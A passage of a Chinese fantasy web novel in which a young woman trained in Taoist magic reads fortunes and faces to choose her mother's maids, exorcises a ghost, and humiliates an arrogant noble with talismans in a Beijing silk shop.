殷琉璃冷眼看着她。
“**……”
脆生生的耳光如此悦耳。
殷玉珠俏生生的脸很快红肿起来,唇角、鼻孔都溢出了血水。
在座众人看的无不揪心,可又不敢再多说一句。
老太爷不忍直视,颤巍巍的开口,
“琉璃,玉珠是真心替她娘认错求饶,她到底是你妹妹,一家人何必闹成这样呢?”
“苦肉计对我没用,她要打死自己就让她打啊,与我何干?”
殷琉璃鄙夷的看了殷玉珠一眼,讥讽道,
“**着人来告诉一声,我好遣人送些帛金过去……嬷嬷,我们走。”
说罢,她头也不回的走了。
金嬷嬷紧跟在她身后,心里说不出的痛快解恨。
别说大姑娘不肯饶,就是她这个做奴婢的也是一样心思!
殷琉璃一走,正堂响起一片吸气声,
“琉璃这孩子,哪里学的这般心狠手辣!”
“太狠了,太狠了!我看她眼里根本就是罔顾人命!”
“到底是血脉至亲,她真能做得出来……”
……
“咕咚”
殷玉珠两眼一翻,晕倒在地上。
殷琉璃都走了,她还打自己做什么?
保住她婚事,只能要从殷镜堂下手。
凤栖梧。
甄氏坐也坐不住,拿起女红手指头不知被针戳了几次,只能不安的在门前徘徊等着女儿平安回来。
“娘!”
殷琉璃跑过来搂住甄氏的胳膊,甜甜的叫了一声,“娘身子不好,怎的还在日头地里站着?小心晒着了让琉璃心疼!”
金嬷嬷看的心里一阵恍惚。
这还是刚才那个狠戾无情,大杀四方的大姑娘吗?
在她娘跟前明明就是个长不大的小闺女儿,尤其是那双眼睛,笑的天真烂漫,娇憨可爱。
“琉璃,事情如何了?”
甄氏忙在她身上看了看,全须全尾的回来了,心里这才松了一口气。
“娘坐,让嬷嬷说给您听。”
殷琉璃把她按在椅子上,捏了一颗果子咔嚓咬了一口,“最烦与人废话,说的口都干了。”
“哎呦,夫人您是不知道,咱大姑娘可让老奴开了眼界了!”
金嬷嬷拍着巴掌笑了起来,绘声绘色的说了起来。
殷
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玉珠母女怎么狡辩,抵赖不认账,春柳如何揭穿她们的老底,大姑娘又是如何把孙嬷嬷和马道婆的阴魂弄上来作证……
尤其把殷琉璃怎么与殷家长辈唇枪舌战,添油加醋的说了一遍。
甄氏听的心惊不已,眼眶也不由红了。
这些年艰难度日,积累了多少心酸苦楚,仿佛在这一瞬间消散干净,心里说不出的轻松解气。
“琉璃……”
她一把握住殷琉璃的手,想要说些什么,可张了张嘴眼泪就先掉下来了。
“娘不哭,有琉璃在,以后看谁敢欺负娘!”
殷琉璃为她擦去眼角的泪水,看桌上一件拆开的衣裳,忙转移话题说,“娘拆衣裳做什么?”
甄氏忙擦了擦泪,脸上露出一抹苦笑,
“娘看你回来没带衣裳,就想着给你做几件……只是眼下没新料子,就想着把我没穿过的衣裳拆了,给你做件新的。”
这些年王氏克扣她的衣食月银,她又把不多的银钱剩下来托人送去玄清观给女儿,别说买料子做新衣裳,就连她自己身上的都是几年前的。
眼下女儿回来,她怎能不想法子给女儿做些合身的衣裳呢!
殷琉璃望了望她身上的衣裳,鼻子不觉一酸,
“娘不做那个,咱们出去买新的去!”
甄氏不由自主的捏紧了手心,红着脸窘迫的说,
“琉璃,娘、娘手里暂时没存下什么体几……”
殷琉璃挑了挑眉,“用什么体几,挂他殷侯府的账!”
要不是殷镜堂哄着她掏出丰厚的嫁妆填侯府的窟窿,她娘能到如此窘迫的境地?
一报还一报,如今殷侯府要把贪的嫁妆一点一点都给她吐出来!
“大姑娘先别急,老奴先把丫头们带进来挑,等出门身边有服侍的人才方便。”
金嬷嬷笑吟吟的领着几个丫头来,在甄氏和殷琉璃面前站成一排,吩咐道,
“这位是我们府里的甄夫人,这位是大小姐,刚教过你们的规矩都记得吗,叫人。”
几个丫头齐齐的跪下**,
“奴婢们见过夫人,见过大小姐。”
殷琉璃一眼掠过众人,眉宇间不觉蹙了一下,抬手指着一个穿着粗布衫裙的丫头说,“你叫什么名字?生辰何时?”
第28章 挑选忠奴
粗布丫头被她凌厉的眼神看的头皮发麻,手足无措的说,
“我……奴婢叫**儿,属、属虎,七月十三生辰。”
殷琉璃打量了她一眼道,
“半月内家中可有人亡故?男子,年纪尚轻,身形略高些,好勇斗狠。”
粗布丫头脸色顿时变了,结结巴巴的说,
“有、有的!奴婢有个表、表兄,前些日与人在酒肆争斗**……大小姐如何知道?”
“那人一缕阴魂跟着你呢。”
殷琉璃抬手冲她身后指了指道,“他死的不甘,跟在你身上。”
她眼中,一个灰蒙蒙的人影正趴在那丫头双肩上,满脸是血。
空气突然一静。
一股寒意从粗布丫头后脖颈蹿出,她僵硬的向身后望了望,浑身的鸡皮疙瘩都起来了。
不止她,旁人都跟着情不自禁的打了个哆嗦。
“你天生命格属阴,容易招惹阴物,以后记得在身上带些朱砂,入夜少出门。”
殷琉璃淡淡道,“我娘身子弱,受不住你的命格。嬷嬷,赏她一些铜钱,送出去吧。”
“是!”
金嬷嬷擦着额角的冷汗,一边掏着铜钱一边紧张的解释说,
“大姑娘,老奴打听她家里头父母倒是本分人,哪儿成想还有这一说,是老奴的不是。”
殷琉璃摆摆手,
“与嬷嬷不相干,此人与她那位表亲有露水姻缘,便跟上她了。”
粗布丫头不敢接钱,倒是噗通一声跪下来,哆哆嗦嗦的说,
“大小姐,表兄他、他真的跟着我吗?怪不得奴婢夜夜都梦见他前来纠缠……
奴婢好害怕!奴婢求大小姐救命、救命啊!”
金嬷嬷脸色一沉,忙要呵斥,“这丫头,不准没规矩!”
“看你面相倒是个与善之人,帮你一把就算积功德了,以后记得多做善事。”
殷琉璃想了想,挑起下巴说,“有钱吗?给我一文钱,我替你除了那东西。”
“一、一文钱?有的有的!”
粗布丫头一脸惊喜,慌忙在身上摸了摸,翻出一枚磨的发亮的铜钱颤巍巍的递过去,
“这是出门前我娘给的钱,奴婢多谢大小姐救命!奴婢以后一定记住大小姐的好,给大小姐烧高香!”
“我还没死呢,烧什么高香?”
殷琉璃一脸无语,抬手在掌心画了一道“驱鬼辟邪符”,纤长的手指一翻,灵光从指缝中飞出。
那个盘在粗布丫头双肩的鬼影瞬间消失的无影无踪。
她不由自主的打了个哆嗦,忍不住抬手摸了摸酸痛的脖子,颤声说,
“奇怪,前些日子起奴婢的脖子就又沉又酸,突然感觉轻了许多呢!”
“光天化日他不得现身,只能趴在你的双肩借取你的阳火,脖子能不酸吗?”
殷琉璃把那枚铜钱扔在桌上,淡淡挑眉,
“嬷嬷,顺便给那个穿灰色衣裙的也赏些铜钱,一并送出去。”
灰衣丫头听见指的是自己,顿时有些不服气的说,
“大小姐连问都不问我,怎的就让我走了呢?
难不成我身上也趴着个死鬼?”
殷琉璃瞥了她一眼,
“看你不顺眼。”
伤害性不大,侮辱性有点儿高。
“你、你凭什么赶我走?”
灰衣丫头满脸气恼的说,
“就算你是高门大户的小姐,也总要讲理吧?”
“这就敢顶嘴了,日后跟在我娘身边若说你个不是,你还不顶一箩筐的话回去?”
殷琉璃不屑的嗤了一声,“嬷嬷,撵出去!”
“是!”
金嬷嬷忍着心头的好奇,一叠声的吩咐,“来人,没听见大小姐吩咐嘛,撵出去!”
灰衣丫头被两个仆妇驱赶,嘴里还止不住骂骂咧咧,
“别拉我!我怎的就得罪你家大小姐了?
大家都往牙行使的一般的钱,凭甚就瞧着我不顺眼……”
金嬷嬷心里跟只猫爪子在挠似的,痒痒的不行,悄声问道,
“大姑娘,老奴瞧着这丫头模样尚算周正,还以为是个伶俐的,不知……”
别说她,就连甄氏都忍不住好奇说,
“是呀,娘也看那丫头眉目还算清秀,琉璃,你瞧出她什么了?”
殷琉璃挑了挑眉,轻笑道,
“娘看她眉眼跟谁有些相似?”
甄氏怔了一下,不觉脱口而出,
“有两三分像春柳!”
殷琉璃耐心的解释说,
“此人眼白外露三分,主心性多狡,易生异心。
鼻梁消瘦,鼻头尖而无肉,暗
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藏算计,不忠之相。
琉璃自然看她不顺眼。”
甄氏恍然大悟,“竟不知选个人还有这许多门道!”
“门道归门道,其实和人相处自己也能感觉出来,你和谁在一起觉得舒服,顺畅,这人便生旺你。若与谁见面就不自在,那便相克。”殷琉璃抿了抿唇,轻声道,
“以后琉璃不能日日陪在娘的身边,自然要替娘选几个忠心的跟在身边。”
相术只是她所学其中一门,她不是很感兴趣。
这次不但要给娘选忠心的奴婢,还要从生辰、面相各个方面选与娘生旺相合的人,才放心把娘一个人留在殷侯府。
若能渡劫,她自然要把娘接走。
若是不能……娘身边有几个可靠的人伺候,她也安心。
毕竟天劫这种事儿,连师父都拿不准,谁又知道到底会怎样呢?
甄氏眼眶一热,抬手摸了摸她的脑袋,柔声说,
“傻孩子,公主府便在京中,等你想娘了就回来看娘。”
金嬷嬷一脸八卦的说,
“大姑娘瞧剩下这几个怎样?”
殷琉璃一一过目,简单问了几句又送走两个命短、生辰相克的,只留了两个各方面跟娘都相称的丫头,
“好好服侍我娘,以后有的是好处。若是谁敢背主欺主,可别怪我不客气!”
“奴婢多谢大小姐赏识!”
两个丫头喜不自胜,赶紧跪下来磕头。
一个丫头长得机灵,说话也利索,一个话不多但性子憨厚。
金嬷嬷摆出老嬷嬷的架势来,吩咐道,
“行了,规矩以后教你们,赶紧去换了衣裳,伺候夫人和大小姐去街上逛逛。”
“娘,听说京城街上好热闹,到处都是买卖铺子?”
一说出去,殷琉璃一改之前的肃穆脸,拉着甄氏撒娇,“娘快收拾一下,陪我去逛逛呀!”
……
果然,京城商铺林立,街头人来人往,两边更是有无数叫卖的小商小贩。
“好热闹呀!”
殷琉璃看的眼睛都直了,不等马车停稳就跳了下来,欢快的冲车里的甄氏大喊,“娘,你快点儿……”
嘶……
身后突然传来一声马匹急促的嘶鸣。
一匹快马直挺挺的冲她撞了过来……
第29章 炫技
“啪!啪!”
马背上是一位面如冠玉年轻男子,高高扬起手中的马鞭,利索的甩出几声清脆的鞭响。
一张脸犹如能工巧匠在玉上精心雕琢而出,眉眼鼻唇无不立体精致,说不出的俊朗英姿,却不带一丝阴柔。
身着一身玄色锦袍,秀着暗金色金云纹饰,身形颀长挺拔,周身带着一种浑然天成的矜贵之气。
他胯下那匹骏马,通体雪白,周身肌肉强劲有力,四只蹄子在土地上踏出悦耳的咯哒声,一看就是万一挑一的极品!
殷琉璃看的两眼放光,真帅呀……
那马!
“啪啪”
男子桀骜的甩着鞭子冲殷琉璃大呼,“哪个不长眼的挡了小爷的路!让开!耽误了小爷的事儿,看你可吃罪的起!”
京城最繁华的街道,到处都是行人,他疾驰**不说还敢骂人?
谁啊,这么嚣张!
电光火石间,雪白的马已经冲到殷琉璃的面前。
其实看得出男子已将手里的缰绳拉到极限,马蹄子抬起到足可越过头顶的高度。
分明是在炫技。
殷琉璃还是不由啧了一声,大庭广众还有没有点儿公德心了?
她抬手就要画符将人马擒住。
“琉璃!”
甄氏刚钻出马车就看见这一幕,吓得心都快从嗓子眼里跳出来了,尖叫一声将殷琉璃拽离了原地。
“嘶……”
雪白马一声嘶鸣,擦着她的面庞飞掠而过,带起的尘土吹了殷琉璃一头一脸。
“琉璃!你有没有伤着?”
她身子一紧被甄氏抱住,紧张的声音颤抖,“快、快让娘瞧瞧!”
“咳咳……我没事,娘。”
殷琉璃呛了几下,懊恼的看着那个嚣张的家伙驾马而去,恨得咬牙切齿,“那人谁呀,怎么那么嚣张跋扈?”
娘要是不拦她这一把,她定要给那人好看!
甄氏不顾上听她说什么,周身看了她一遍才松了口气,
“没事就好,没事就好……刚才可吓死娘了!”
“吁……”
话音未落,一匹枣红色汗血宝马停在跟前。
一位面容清朗俊逸的少年忙从马背上下来,双手抱了个礼,躬身歉意的说,
“让姑娘受惊了,在下的兄长有急事在身才纵马而驰,差点儿伤着姑娘。
在下替兄长给姑娘赔不是,还望姑娘海涵!”
“那狂徒是你兄长?”
殷琉璃皱了皱眉,见他面若刀削,眉带剑锋眼含星辰,五官也是格外好看。
气质清雅淡然,给人一种温文尔雅的书生气,还算讨喜。
这兄弟二人都是极贵之相,日后必将封侯拜相,尤以他那个狂徒兄长为尊。
可惜了,将来他那个兄长若是做了重臣,不知道会不会祸国殃民!
“在下兄长行事多有鲁莽,实在是他的错。”
少年再次躬身行礼,客气的说,“不知姑娘和夫人是哪个府上的贵人,改日在下命人将赔礼送到府上以表心意。”
“赔礼就不用了,我女儿没事。”
看他一身华服,气质矜贵,甄氏也明白这是那个高门大户的公子,便不想多事,只是揪心的责备,
“幸儿没伤着我女儿,不然……街上这么多人,你兄长怎么能在这儿纵马呢,太危险了!”
少年含笑看了殷琉璃一眼,垂首道,
“夫人教训的是,在下以后一定敦促兄长改正。
让小姐受惊,赔礼是应该的,敢问夫人……”
殷琉璃再次打量了他一眼,不屑的哼了一声,
“看你认错态度好,这次就算了,赔礼也不用。
回去记得告诉你那个狂徒兄长一声,以后再敢这般纵马,小心一头摔下来跌死!”
“琉璃!”
甄氏轻轻嗔怪了一声,拉住她的手说,“算了算了,跟娘去铺子里选料子去。”
她没说错啊!
要不是娘刚才把她拉回去,她早一道灵符把那人打下马背,摔个狗吃屎!
少年蓦地勾起了唇,有些忍俊不禁的说,“是。”
……
京城第一绸缎庄。
方政允一手托腮,修长的手指不自觉的在桌上画圈儿,
“那女子可让我警告你,小心从马背上跌死呢!明明长得一副天姿国色的样子,说话怎这般犀利?竟如此与众
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不同!
看穿着应该是哪家高门大户家的小姐,她们不都是被教导的行坐有礼,言语谨慎吗?”
顾瑾焱漫不经心的看着料子,也不知道听没听进去。
“焱兄,你有没有在听我说?”
方政允郁闷的推了推他的胳膊,“我还是头一次瞧见这种性子张扬,不拘一格的高门大小姐呢,有趣!有趣!”
“有趣个屁!”
顾瑾焱一脸烦躁的说,“快帮我看看哪块料子好看,好让我回去哄母亲开心。”
方政允随手指了一个,“焱兄又跟殿下闹脾气了?”
顾瑾焱郁闷道,“说了多少次我不想成亲,母亲非不听,如今又安排了一个不知哪家的小姐……烦都烦死!”
出门前,他因成亲之事对成懿公主怒吼,
“母亲明知道我命中克妻,还非要一个个定下亲事,已经死七个,咱们顾家陵墓都快埋不下了!”
这七个,订婚前他一个都不知道,母亲自行拿了庚帖就去跟人家定下了。
“母亲不管你克不克妻,母亲只想让你尽快成亲!”
成懿公主满目担忧,“如今圣上要与蛮夷那边换亲以求边疆稳固,你也知道你这一代能选的人不多了,你不尽快成亲难不成真要去跟那种蛮夷女子婚配去?”
顾瑾焱心里堵了一口气,随口道,“去就去,说不准蛮夷女子还别有风味呢!”
“焱儿,你放肆!”
成懿公主语气一重,扶着座椅的手微微颤抖,忽然红了眼眶,流泪道,
“母亲生养你时伤了身子,这辈子也只有你一个孩儿,母亲不在乎你克谁旺谁,谁**我都不在乎,我只想让我的孩儿留在身边!
你若真去了那蛮夷之地,此生便再是回不来了……母亲一想这辈子都不能再见你一面,这心里就如刀绞般痛……”
顾瑾焱原本堵了口气的心瞬间软了下来,跪在她膝下好声哄着,
“瞧母亲说的,哪有那么严重?行了行了,母亲不要生气,是儿子不好。
不哭了不哭了,母亲再哭,莫不是怕儿子从边疆给你拐个黑头土脸,膀大腰圆的**儿媳回来吧?”
第30章 巴掌要自己打才过瘾
原本哭的胭脂都花了的成懿公主,被他逗的扑哧一笑,咬着牙抬手在他额头上轻轻戳了一下,
“你呀!不知道上辈子欠了你什么,你就是来跟母亲讨债的!”
怕不是圣上外公打算选我去换亲,成心就是想让儿子克死**首领的那位公主呢!
不战而屈人之兵,高明!
顾瑾焱心里嘟囔了一句,没敢说。
哄好了母亲,他心里烦闷,便找了个借口去国公府找方政允出来散心。
他一出来就把气撒在白雪上,闷头在街上纵马驰骋,疏解心头的郁闷。
京城人人都知道他是纨绔公子爷,这种出格的事情早见怪不怪了。
路过成懿公主喜欢的那家绸缎庄,店伙计拦住他的马说铺子里新进了极品云锦料子,只有两匹。
顾瑾焱拉着方政允去挑料子,买回去哄母亲开心。
“焱兄,我听说给你定的那家小姐,是殷侯府失散了多年的女儿,近日才寻回来的。”
方政允八卦的说,“只是不知人品样貌如何……”
顾瑾焱俊朗的脸上闪过一抹黯然,随手把布匹扔给店小二,
“管她如何,横竖挨不过……算了,让她自求多福吧。”
方政允叹气道,“焱兄,你都要成亲了,往日那般恣意张扬,桀骜不驯的样子,也该要收一收。”
“不收!本小爷想怎样便怎样,如何?”
顾瑾焱倨傲的挑眉。
桀骜不驯,方政允算说的克制了。
他性子本就张扬,坊间更是传闻他不务正业,**无恶不作,典型的浪荡公子爷!
原以为这样,就没人家敢嫁女儿进公主府,没想到竟还有七个不怕死的。
……
这边儿,甄氏带着殷琉璃走了进来,
“琉璃,这间是京城最好的绸缎庄,看看有没有你喜欢的料子。”
“都很漂亮呀!”
殷琉璃扫了一眼柜台上陈列的布匹,眼角余光忽然划过店小二手上的一匹锦缎,忙说,“娘,你看那个好不好看?”
“这是江南来的云锦,能不好看吗?”
甄氏笑吟吟的点头,招手叫店小二过来说,
“烦劳给我们瞧瞧这个……琉璃你瞧,这匹料子色泽绚丽,如云如霞,用料也十分考究,锦纹织的更是细腻如水,可是难得一见的好东西。
颜色也衬你,拿来做件衣裳一准好看!不错不错,娘打心眼儿里喜欢这块料子!”
殷琉璃看它光滑绵软,颜色也很是清新淡雅,也挺喜欢的,
“那就要它吧,我觉得也挺好看!店小二,我们要这个。”
“当然好看了,大小姐!”
金嬷嬷笑着说,“这可是云锦呢,俗话说一寸金子一寸锦,就这一匹料子,要三个织娘日夜不休的织上两三个月才能得……”
“店家,这两匹料子本小爷都要。”
话音未落,一个清朗中带着一丝慵懒的声音响起。
顾瑾焱从隔扇中走出,随手丢了一包银子过去,“送去公主府。”
母亲最喜欢江南织造的云锦,华贵、精致,寻常穿的衣裳都是这种料子。
他挑都不用挑,买回去肯定好哄她。
“是,公子爷!”
店小二点头哈腰答应了一声,忙伸手去拿布料。
“啪”
殷琉璃一把按下布匹,那双黑白分明的杏仁大眼蓦地瞪了起来,“做什么?我说了,这匹料子我买!”
“啊?抱、抱歉,这位小姐,小人刚才没听清楚到底是你们哪位先说的……”
店小二紧张的额头冒汗。
“你说要买就买?”
顾瑾焱不屑的打量了她一眼,轻蔑的道,“本小爷要的东西,还从没人敢跟我抢!”
是他?
刚才的账还没跟你算呢,现在又来抢我的东西!
殷琉璃一眼就认出是那个纵马行凶之人,绝美的脸蛋儿上露出一抹冷笑,
“小二,这匹料子本姑娘要了,给我包起来!”
“哟呵,你还真敢跟本小爷抢?”
顾瑾焱倨傲的抬起了下巴,“小丫头,知不知道本小爷是谁?”
“谁?不过是个可怜的短命鬼罢了!”
殷琉璃随口嗤了一声。
此人面相确实极贵,但近看能看到身旁有几缕厉害的煞气若即若离。
若不是正当盛年阳火很盛,又加贵气护身煞气不得侵
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体,不然绝活不过而立之年。
“你说什么!”
顾瑾焱原本充满不屑的眸子闪过一抹阴冷,上前一步,那张俊朗不凡的面庞几乎贴在殷琉璃的脸上,声线骤冷,“臭丫头,你敢咒我?”
“还用得着我咒?”
殷琉璃嫌弃的哼了一声,冷笑说,“你手上沾过人命,自己不会不知道吧,还要我说出来?
声音不大,仅他们两个人听见。
但顾瑾焱心头地震般轰的一震了一声。
这丫头究竟是谁?
难道她知道些什么端倪!
不会!
他暗中授命于圣上查谋逆之事,手中握有生杀予夺之权,但他行事向来谨慎严密,自信从未有过一次差池!
她竟能看出,此人要查!
“琉璃,不过是一匹布,咱不要了。”
甄氏在一旁听的毛骨悚然,生怕女儿把这恶人给惹了,赶紧拉着她要走,“跟娘去看看别的。”
不待殷琉璃开口,顾瑾焱稳下心神,脸上换了平日的轻佻,挑眉道,
“不过是一匹云锦而已,你想要就直说,干嘛要诅咒小爷?
把小爷我惹急了可没你什么好果子吃!看你长得还不错,要不给本小爷香一口,本小爷就把这云锦让给你……”
“啪”
话音未落,脸上便结结实实挨了一个响亮的耳光。
“臭丫头,你敢打我?”
顾瑾焱意外的抬手摸脸,俊美的脸上登时闪过一抹怒意。
“饭可以乱吃,话可不能乱说,你哪只眼睛瞧见我动手了?”
殷琉璃抬起了双手,一脸无辜。
“哇呀呀……主人,这一巴掌够不够响?”
哇呀呀将手中长刀一戳,在耳边得意扬扬的请功,“不够还有!”
殷琉璃一脸无语,心念道,
“还行。下次没有我的吩咐,不可擅自动手!”
“哇呀呀……主人,他调戏你!”
哇呀呀不服气的说。
“你打了我还怎么打?”
殷琉璃心里啧的一声,“巴掌,要自己打才过瘾!”
“是谁!”
顾瑾焱不敢相信的看着她,阴沉的眸子里闪过一抹疑惑。
第31章 再见到本小姐,记得绕路走
她确实没出手。
空气瞬间一静。
“焱兄,你怎么了?”
方政允正从后面出来,目光瞬间捕捉到一旁的殷琉璃。
那双温润明亮的眸子里顿时闪过一抹光芒,脚下打了个转走上前说话,
“这么巧,二位也来买布料吗?在下是这铺子里的常客,有什么喜欢的东西尽管挑,记在在下的账上!”
甄氏尴尬的笑笑,“不必不必……”
殷琉璃灵动的眸子微转,冲顾瑾焱抬了抬下巴,
“公子不必客气,以后看好你这位无耻狂徒的兄长就行了。”
无耻狂徒?
顾瑾焱心里一阵冷笑,看来这些年他骄横纨绔的形象已经深入人心了呀!
“是是,不知兄长怎么惹了小姐,在下先替兄长给小姐夫人赔个不是。”
方政允忙抱了个手礼,赶紧把顾瑾焱拉到一边儿,“焱兄,你又怎么得罪人家了?”
他刚才打翻茶碗去后堂擦衣裳,谁知一出来就瞧见两人杠上了。
顾瑾焱收敛心头疑惑,一脸傲慢的说,
“她是你什么人?怎么,小爷得罪不起吗?”
“倒不是我什么人,她是你刚才差点儿纵马撞了的那位小姐,当时可把人家母女俩吓坏了呢!”
方政允笑了笑,在他耳畔低声说,“我陪了好半天不是人家才肯原谅你!焱兄,人家到底是姑娘家,你别把人家吓着。”
其实他对殷琉璃的印象特别好,容貌不说国色天香,也算是倾国倾城了。
尤其那双黝黑的眼睛,清灵透彻,带着一种不染凡尘的灵动和洒脱。
他见过那么多官宦人家的女儿,端庄到笑不露齿,足不外露,善于察言观色,言语谨小慎微。
就连眼神都不能放肆视人,喜怒不形于色要让人猜,一言一行都得守着规矩。
还喜欢哭哭啼啼,没意思极了。
殷琉璃刚才差点儿被顾瑾焱的马踢了,都面不改色,可见是条汉子!
呸,是位有胆识的女子!
……
“本小爷用不着她原谅!不知哪里来的臭丫头敢跟小爷抢东西,也不知谁给她的胆子!”
顾瑾焱不屑的扫了殷琉璃一眼,朗声道,
“店家,今儿这两匹云锦本小爷要定了!本小爷倒要看看谁敢跟我抢!”
“是,是……”
店小二缩着脖子远远的蹭过来,手忙脚乱的包布。
心里一个劲儿的犯嘀咕,这位小姐怕不是不是京城人士,才不知道厉害,要么就是初生牛犊不怕虎!
满京城谁不知道这位世子爷出了名的蛮横骄纵,跟他抢东西不是找死吗?
“等下!”
殷琉璃一把按住那匹布,清灵的眸子里闪过一抹冷笑,
“巧了,本小姐喜欢的东西,也从来没人敢抢。店家,把布匹给我包起来。”
对了,这位狂徒,刚才你叫谁臭丫头?”
顾瑾焱满脸傲慢,
“叫你,怎么不能叫啊?你以为你是谁!
臭丫头!臭丫头!臭丫头!本小爷就叫了,你能拿本小爷怎样……”
话音未落,他身子忽然一轻,还没等反应过来人就飞了出去。
符光飞出的一霎,只听“砰”的一声闷响。
顾瑾焱重重的跌在铺子外的地上,摔了个七荤八素。
“呼……”
殷琉璃习惯性的吹了吹指间,好整以暇的看着顾瑾焱。
所有人都目瞪口呆,傻了一样看着殷琉璃。
什么情况?
她明明什么都没做,人怎么就扔出去了?
“咳咳……咳咳……”
顾瑾焱吃了一嘴的泥,呛的连声咳嗽,挣扎了几下,感觉全身的骨头像散架了一般疼。
眼前一阵一阵冒着金色的星星,脑袋里更是一片空白……
我是谁?我在哪儿?我在做什么?
“臭丫头……咳咳……你、你给我……”
顾瑾焱晃了晃脑袋,怎么都弄不明白自己怎么飞出来的。
以他的身手,不可能被人扇巴掌连个反应都没有!
“还想飞一次?”
殷琉璃冲他勾了勾手指,红唇微翘,“你过来呀!”
顾瑾焱手脚并用爬起来,恶狠狠的瞪着殷琉璃。
怎么回事,那张得意的脸在他眼里忽然一个变三个,三个变六个……
“臭丫头!敢打我,你是不是找死…
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…”
他抬手指着殷琉璃,怒目而视。
“再叫一次试试!”
殷琉璃抬手翻出一道灵符,冲他飞了过去。
顾瑾焱头上一轻,攥着发髻那只精致的翠玉忽然掉了下来,啪嗒一声碎成两半。
乌黑的头发瞬间散落,凌乱的披散在脸上、肩上,还有几根钻进鼻孔,他忍不住接连打了几个响亮的喷嚏,
“啊嚏!啊嚏啊嚏……”
“再对本姑娘出言不逊,碎的可就不是你头上的玉!”
殷琉璃冷哼一声,凛冽的目光从他的头顶挪到胸口。
顾瑾焱却会意错了,他以为她看的是自己重点部位!
一股凉气没来由的涌了上来,某个部位嗖一下缩了回去。
“焱兄!”
方政允惊呼一声,忙跑出去搀扶,“这是怎么回事?”
“臭丫头!”
顾瑾焱使劲儿晃了晃脑袋,一把推开他,摇摇晃晃的走向殷琉璃,“你玩阴的?”
殷琉璃皱眉,“什么玩阴的?抱歉我听不懂你在说什么。
大家伙儿都看见了,我可一点儿没动手啊!”
远远的看了半天热闹的人,根本看不出个端倪,也满脸好奇的议论起来,
“是呀,这姑娘从头到尾都没动过手。”
“奇怪了,这人为什么自己飞出去?”
“他刚才自己打自己脸,如今又诬赖人家姑娘,不会是碰瓷儿吧?”
……
顾瑾焱心念一动,俊朗的脸沉比锅底还黑。
他倒不在乎别人指责。
只是……
脑海中忽然划过前日暗查谋逆之事时,对方身边有个厉害的方士,也不知用什么法术让他的人吃了大亏。
他费了好大力气才将方士擒拿住,没想到竟遇到个同样会法术的人,还是个小姑娘!
顾瑾焱心头不由警铃大作。
“喂,你还好吗?”
殷琉璃轻挑眉头,举起手中的布匹冲他晃了晃,
“多谢承让!温馨提示一下,下次再见到本小姐,请绕过一条街走,不然我可不保证你还会再飞出去几次!”
顾瑾焱,“……”
我好不好,你瞧不见吗?
第32章 我闪!
衣衫歪斜满是脏兮兮的尘土,满头黑发散乱的披在肩上。
一张俊朗无比的脸差点儿被地上的树枝划破,额头上更是撞出一个红彤彤的大包……
破了相算谁的?
要多狼狈有多狼狈!
你要我这京城无人敢惹的小霸王,成懿公主独子,当今圣上膝下最受宠的皇外孙,横扫整个京城的纨绔世子顾瑾焱,以后还怎么混?
铺子外,来往路过的人对着顾瑾焱指指点点,脸上说不出的鄙夷,
“这人谁呀?被人打成怎样?”
“怕不是**的,教人给教训了!”
“穿的还是锦缎衣裳,一看就是浪荡公子,这种人活该被教训!”
……
顾瑾焱恨不得找个地缝钻进去。
自打尿坑的时候起,他这辈子还没丢过这么大的人!
“娘,咱们走。”
殷琉璃扶着甄氏,从顾瑾焱面前款款走过。
顾瑾焱瞪着她,眼珠子冒火。
不过,他倒是对这个用法术玩阴的小丫头,有点儿感兴趣了。
臭丫头你完了,你给我等着!
等着,咱们后会有期!
“你……咳咳咳……”
他故意捂着胸口又是一阵剧烈的咳嗽,对着殷琉璃的背影放狠话,
“好好,小爷从不跟女人一般见识,今日暂且放过你!
以后再敢惹小爷可就别怪我不客气了!
阿允,扶我一下……”
抬起的手扑了个空,方政允早把他一丢追了过去,礼貌的询问,
“不知小姐府上是哪儿,刚才我兄长多有得罪,改日在下带兄长去府上负荆请罪不知可好?”
顾谨焱嘴角抽了抽,被揍的好像是我!
殷琉璃顿了顿脚步,轻描淡写的说,
“公子不必客气,你还是去照顾那位狂徒吧。”
被淡漠拒绝,方政允也不气馁,在殷琉璃身**了个手礼道,
“在下方政允,很高兴认识小姐……”
顾瑾焱满脸黑线。
抬手拉了他一把,恨铁不成钢道,“臭小子,你是那一边儿的?”
“焱兄,你不觉得这姑娘很有趣吗?”
方政允意犹未尽的望着殷琉璃的马车远远离去,这才恍然道,“对了,焱兄你没摔着哪儿吧?”
顾瑾焱,“……”
你眼里还有我这个焱兄吗?
……
从绸缎庄出来,娘俩闻着香味儿去了一家烤鸭店,点了些菜肴慢慢吃着。
“琉璃,那两位公子看气度、穿衣就知道出身非同一般,你以后千万别再招惹,娘真怕你惹出什么麻烦来。”
甄氏给女儿卷了一张饼,忍不住劝说,“还有,以后别随便用法术,让人知道了不好。”
殷琉璃吃的满嘴香,含混的说,
“是他先招惹我的!我不教训他,他越发觉得我好欺负了!”
甄氏无奈的笑了笑,
“娘不是怪你,是担心你吃亏!女儿你不知道,这些年侯府大不如前,不再像老太爷在朝中时那般风光了。
如今只有你父亲和三叔还在朝中任职,你父亲也不过是个**侯,没什么实权……万一惹上身份贵重的,他不好说话。”
“他不是我父亲。在我眼里,殷镜堂不过只是殷侯爷罢了。”
殷琉璃握住她的手,淡然的说,“娘你放心,师父教过我的,人不犯我我不犯人,我不会乱用法术沾染不必要的因果。”
甄氏这才放心的点了点头,“你心里明白就好。”
“大姑娘,你师父教你人不犯我我不犯人,那人要是犯你呢?”
金嬷嬷好奇的追问。
殷琉璃挑挑眉,“人若犯我,加倍奉还,人再犯我,斩草除根。”
“扑哧……”
金嬷嬷顿时笑的前仰后合。
“快让开!让开!”
“我的牛受惊了,你们快让开呀……”
“拦住它!快拦住它!”
“救命呀……”
……
正吃着烤鸭,街上传来一阵嘈杂的吵嚷声。
殷琉璃正好坐在窗前,便见外面人来人往的街道上乱成了一锅粥。
人群的尖叫声此起彼伏,人们抱着脑袋四处逃窜。
一头黄牛屁股上扎着一根竹签,牛眼染了血般通红的吓人,鼻子里喷着气在人群中横冲直撞。
人群早就四散开来,一个女人手中拉着孩子跑的慢了些,眼看就要被牛追上,吓得失声尖叫,“救命呀!救……”
“哞……”
疯牛
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发出一声凶狠的咆哮,低头顶着两根硕大的牛角冲母子俩冲了过去。
“我闪!”
殷琉璃丢下手中香喷喷的卷饼,纤细说手指在掌心极快的画了一道“闪身符”,指尖灵光一闪,人已经到了疯牛身后。
“啪嗒……”
甄氏手里的筷子顿时掉在了桌上。
